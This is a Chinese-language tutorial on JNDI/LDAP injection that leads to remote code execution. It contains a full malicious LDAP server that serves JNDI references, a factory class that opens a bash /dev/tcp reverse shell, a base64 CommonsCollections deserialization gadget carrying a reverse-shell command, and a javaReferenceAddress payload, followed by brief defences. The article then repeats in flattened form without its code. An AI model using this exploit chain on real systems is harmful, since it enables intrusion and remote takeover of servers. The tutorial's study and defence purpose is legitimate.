JNDI之初探LDAP
字数 1436 2025-08-15 21:32:26

JNDI与LDAP攻击技术详解

基础知识

JNDI References

JNDI References是类javax.naming.Reference的Java对象,包含有关所引用对象的类信息和地址的有序列表。主要属性包括:

  • objectClass: javaNamingReference
  • javaClassName: 记录序列化对象的类名
  • javaClassNames: 关于序列化对象的附加类信息
  • javaCodebase: 实例化工厂类所需的类定义位置
  • javaReferenceAddress: 存储引用地址的多值可选属性
  • javaFactory: 存储对象工厂的完全限定类名

LDAP协议

LDAP(轻量目录访问协议)用于访问目录服务,主要模型包括:

  • 信息模型:条目(Entry)、属性(Attribute)、值(Value)
  • 命名模型
  • 功能模型
  • 安全模型

LDAP Server实现

以下是返回JNDI引用的LDAP服务器实现示例:

package org.jndildap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapSer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main (String[] args) {
        int port = 1389;
        String url = "http://127.0.0.1/#Th3windObject";
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) 
            throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            
            e.addAttribute("javaClassName", "th3wind");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LDAP存储Java对象的方式

  1. Java序列化
  2. JNDI的References
  3. Marshalled对象
  4. Remote Location

利用方式组合

  1. 利用Java序列化
  2. 利用JNDI的References对象引用

JNDI Reference攻击流程

  1. 攻击者提供LDAP绝对路径的URL并赋予到可利用的JNDI的lookup方法中

    String uri = "ldap://127.0.0.1:1389/Th3windObject";
    Context ctx = new InitialContext();
    ctx.lookup(uri);
    
  2. 服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference

  3. 服务端decode请求到的恶意JNDI Reference

  4. 服务端从攻击者构造的恶意Server请求并实例化Factory class

  5. 执行payloads

恶意Factory类示例

import java.lang.Runtime;
import java.lang.Process;

public class Th3windObject {
    public Th3windObject(){
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    
    public static void main(String[] argv){
        Th3windObject e = new Th3windObject();
    }
}

序列化对象攻击

JNDI对通过LDAP传输的Entry属性中的序列化处理有两处:

  1. decodeObjectjavaSerializedData属性的处理
  2. decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理

javaSerializedData利用

javaSerializedData不为空时,decodeObject会对对应的字段进行反序列化:

e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));

javaReferenceAddress利用

调用链条件:

  1. javaSerializedData为空
  2. javaRemoteLocation为空
  3. 必备属性:javaClassNamejavaReferenceAddress
  4. 校验javafactory是否存在

字符串处理要求:

  1. 第一个字符为分隔符
  2. 第一个分隔符与第二个分隔符之间表示Reference的position(必须为int类型)
  3. 第二个分隔符与第三个分隔符之间表示type类型
  4. 检测第三个分隔符后是否有第四个分隔符(双分隔符形式),是则进入反序列化操作
  5. 序列化数据用base64编码

payload示例:

e.addAttribute("javaReferenceAddress", "$1$String
$$
"+new BASE64Encoder().encode(serialized));

防御措施

  1. 升级JDK版本,禁用JNDI远程类加载
  2. 限制LDAP服务仅允许可信来源访问
  3. 对用户输入进行严格过滤和验证
  4. 使用安全管理器限制敏感操作
  5. 监控和记录可疑的JNDI和LDAP操作

参考

  • BlackHat 2016: "A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land"
JNDI与LDAP攻击技术详解 基础知识 JNDI References JNDI References是类 javax.naming.Reference 的Java对象,包含有关所引用对象的类信息和地址的有序列表。主要属性包括: objectClass : javaNamingReference javaClassName : 记录序列化对象的类名 javaClassNames : 关于序列化对象的附加类信息 javaCodebase : 实例化工厂类所需的类定义位置 javaReferenceAddress : 存储引用地址的多值可选属性 javaFactory : 存储对象工厂的完全限定类名 LDAP协议 LDAP(轻量目录访问协议)用于访问目录服务,主要模型包括: 信息模型:条目(Entry)、属性(Attribute)、值(Value) 命名模型 功能模型 安全模型 LDAP Server实现 以下是返回JNDI引用的LDAP服务器实现示例: LDAP存储Java对象的方式 Java序列化 JNDI的References Marshalled对象 Remote Location 利用方式组合 利用Java序列化 利用JNDI的References对象引用 JNDI Reference攻击流程 攻击者提供LDAP绝对路径的URL并赋予到可利用的JNDI的lookup方法中 服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference 服务端decode请求到的恶意JNDI Reference 服务端从攻击者构造的恶意Server请求并实例化Factory class 执行payloads 恶意Factory类示例 序列化对象攻击 JNDI对通过LDAP传输的Entry属性中的序列化处理有两处: decodeObject 对 javaSerializedData 属性的处理 decodeReference 函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理 javaSerializedData利用 当 javaSerializedData 不为空时, decodeObject 会对对应的字段进行反序列化: javaReferenceAddress利用 调用链条件: javaSerializedData 为空 javaRemoteLocation 为空 必备属性: javaClassName 和 javaReferenceAddress 校验 javafactory 是否存在 字符串处理要求: 第一个字符为分隔符 第一个分隔符与第二个分隔符之间表示Reference的position(必须为int类型) 第二个分隔符与第三个分隔符之间表示type类型 检测第三个分隔符后是否有第四个分隔符(双分隔符形式),是则进入反序列化操作 序列化数据用base64编码 payload示例: 防御措施 升级JDK版本,禁用JNDI远程类加载 限制LDAP服务仅允许可信来源访问 对用户输入进行严格过滤和验证 使用安全管理器限制敏感操作 监控和记录可疑的JNDI和LDAP操作 参考 BlackHat 2016: "A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land"